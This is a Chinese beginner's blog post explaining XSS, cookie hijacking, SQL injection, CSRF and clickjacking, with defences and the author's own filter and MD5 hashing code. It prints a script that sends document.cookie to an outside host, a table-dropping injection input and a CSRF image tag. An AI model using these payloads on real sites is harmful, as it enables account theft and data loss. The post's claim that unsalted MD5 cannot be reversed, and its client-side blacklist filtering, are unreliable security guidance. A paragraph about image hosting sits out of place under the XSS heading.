web常見攻擊手段
我只會大概提及它的攻擊原理和預防方法，具體的實現和深入研究還請大家自行百度，因為只有真正需要用到才會去詳細了解，這里我只為web安全小白做知識掃盲。因為博主目前接觸最多的服務端語言是JAVA所以例子都從java web項目來講。
跨站腳本攻擊（XSS）
雖然我們目前做的是一個博客的小網站，但是以后無論是自己的博客還是實際的項目，都可以用圖片來提供外鏈，方便管理，如果你的網站訪問量很高啊，一天幾十萬幾百萬啊，我的天啊，這時候你考慮的就不是服務器空間夠不夠大，而是驚人的並發數啊，光是請求html文件（或其他）的鏈接就處理不過來了，哪還有多余的資源去讀取圖片啊，索性就把圖片存另一個服務器吧，給主服務器減輕壓力啊，於是圖床誕生了。
反射型XSS
它是通過誘使用戶打開一個惡意鏈接，服務端將鏈接中參數的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執行，從而達到攻擊的目的。如下面的鏈接：
http://a.com/a.jsp?name=xss<script>alert(1)</script>
a.jsp將頁面渲染成下面的html：
Hello xss<script>alert(1)</script>
這時瀏覽器將會彈出提示框。
持久型XSS
持久型XSS將惡意代碼提交給服務器，並且存儲在服務器端，當用戶訪問相關內容時再渲染到頁面中，以達到攻擊的目的，它的危害更大。
比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發表后，所有訪問該博客文章的用戶都會執行這段惡意JS。
Cookie劫持
Cookie中一般保存了當前用戶的登錄憑證，如果可以得到，往往意味着可直接進入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：
首先誘使用戶打開下面的鏈接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>
用戶打開鏈接后，會加載b.js，並執行b.js中的代碼。b.js中存儲了以下JS代碼：
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代碼會向b.com請求一張圖片，但實際上是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。
防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。
XSS的防御
輸入檢查
對輸入數據做檢查，比如用戶名只允許是字母和數字，郵箱必須是指定格式。
一定要在后台做檢查，否則數據可能繞過前端檢查直接發給服務器。
一般前后端都做檢查，這樣前端可以擋掉大部分無效數據。
對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當的過濾，最好是在輸出時具體情況具體處理。
輸出檢查
對渲染到HTML中內容執行HtmlEncode，對渲染到JavaScript中的內容執行JavascriptEncode。
另外還可以使用一些做XSS檢查的開源項目。
SQL注入
SQL注入常常會聽到，它與XSS類似，是由於用戶提交的數據被當成命令來執行而造成的。下面是一個SQL注入的例子：
String sql = "select * from user where username = '" + username + "'";
像上面的SQL語句，如果用戶提交的username參數是leo，則數據庫執行的SQL為：
select * from user where username = 'leo'
但如果用戶提交的username參數是leo’; drop table user–，那執行的SQL為：
select * from user where username = 'leo'; drop table user--'
在查詢數據后，又執行了一個刪除表的操作，這樣的后果非常嚴重。
SQL注入的防御
防止SQL注入最好的方法是使用預編譯語句，如下面所示：
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不同語言的預編譯方法不同，但基本都可以處理。
如果遇到無法使用預編譯方法時，只能像防止XSS那樣對參數進行檢查和編碼。
跨站請求偽造（CSRF）
跨站請求偽造的英文全稱是Cross Site Request Forgery，是由於操作所需的所有參數都能被攻擊者得到，進而構造出一個偽造的請求，在用戶不知情的情況下被執行。看下面一個例子：
如果a.com網站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：
GET http://a.com/blog/delete?id=1
當用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內容：
<img src="http://a.com/blog/delete?id=1"/>
這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1，刪除那篇博客。
CSRF的防御
驗證碼：
CSRF是在用戶不知情的情況下構造的網絡情況，驗證碼則強制用戶與應用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。
referer檢查：
檢查請求header中的referer也能幫助防止CSRF攻擊，但服務器不是總能拿到referer，瀏覽器可能出於安全或隱私而不發送referer，所以也不常用。倒是圖片防盜鏈中用得很多。
Anti CSRF Token：
更多的是生成一個隨機的token，在用戶提交數據的同時提交這個token，服務器端比對后如果不正確，則拒絕執行操作。
作為了解，一般前面的攻擊都過了，就可以造成此類攻擊。
點擊劫持（ClickJacking）
點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上，誘使用戶在該網頁上操作，而實際點擊卻是點在透明的iframe頁面。
點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點擊劫持的防御
針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：
DENY： 禁止任何頁面的frame加載；
SAMEORIGIN：只有同源頁面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁面地址。
針對圖片覆蓋攻擊，則注意使用預防XSS的方法，防止HTML和JS注入。
我的方法
登錄的字符檢測
function validate(value) { var pattern = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im; if (value === '' || value === null) return false; if (pattern.test(value)) { alert("非法字符！"); return false; } return true; } function filterSqlStr(value) { var str = "and,delete,or,exec,insert,select,union,update,count,*,',join,>,<"; var sqlStr = str.split(','); var flag = true; for (var i = 0; i < sqlStr.length; i++) { if (value.toLowerCase().indexOf(sqlStr[i]) != -1) { flag = false; break; } } alert(flag); return flag; }
JS封裝的2個方法，用於返回布爾值來判斷是否通過。第一個為了過濾掉非法字符，第二個為了過濾有關數據庫操作的非法字符。
密碼MD5加密
//password Md5 public static String MD5Password(String oldstr) { char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; byte[] oldbytes = oldstr.getBytes(); try { MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對象 md.update(oldbytes);// 初始化對象 byte[] newBytes = md.digest();// 運行加密算法 char[] newStr = new char[32]; for (int i = 0; i < 16; i++) { byte temp = newBytes[i]; newStr[2 * i] = hexDigits[temp >>> 4 & 0xf]; newStr[2 * i + 1] = hexDigits[temp & 0xf]; } return new String(newStr); } catch (NoSuchAlgorithmException e) { return null; } }
通過在后台對數據庫中，管理員的密碼進行MD5加密然后存入加密后的字段進去，在前台通過加密前的字段輸入后在后台進行方法驗證，實現MD5加密登錄。防止數據庫的密碼被暴露查詢出來。加密后無法被反解密出來。
后台添加修改信息的字符檢測
同前台登錄一樣的檢測方法，因為我只負責前台檢測，如果黑客繞過了我的檢測，就要進行后台對數據傳過去的值進行檢測，這時候就是后台人員的工作了。所以前后台都要進行這些字符檢測，但是后台的責任要重一點，因為數據最終流向是在后台服務器端，前台只是初步防護而已。
驗證碼和滑塊驗證
驗證碼字符驗證
目前驗證碼字符驗證已經逐漸推出舞台，但是有一些專門這塊驗證服務的第三方平台，通過對驗證碼字符的不斷改進和更新，對一些攻擊者來說還是有防護作用，但是個人或企業網站還是用的一塵不變的驗證方法的話，就很容易被攻擊成功。很多初學者都在前台瀏覽器客戶端用JS進行字符驗證，很容易被破解跳過。好點的就在服務器進行檢驗，但是還是能被一些黑客經過長期的經驗發明的一些工具破解。
這里就提及一下12306所推出的圖片驗證，目前已經被很多人報道也是不安全的，攻擊者可以直接將圖片處理后丟入google、百度的識圖接口，返回的數值讓人驚訝。
滑塊驗證
滑塊驗證和12306的圖片識別驗證目前算是比較安全的驗證手段，滑動驗證的核心並不是簡單的拼接成功就可以過，所以也不是簡單的算一下偏移量就能破解。滑動驗證做的好的是通過采集你的滑動過程軌跡與服務器端的海量樣本進行對比，區分人還是機器，用到了很多深度學習的技術，當然市面上也有一些滑動驗證只是前端拼接就能過，大家還是要多多研究一下。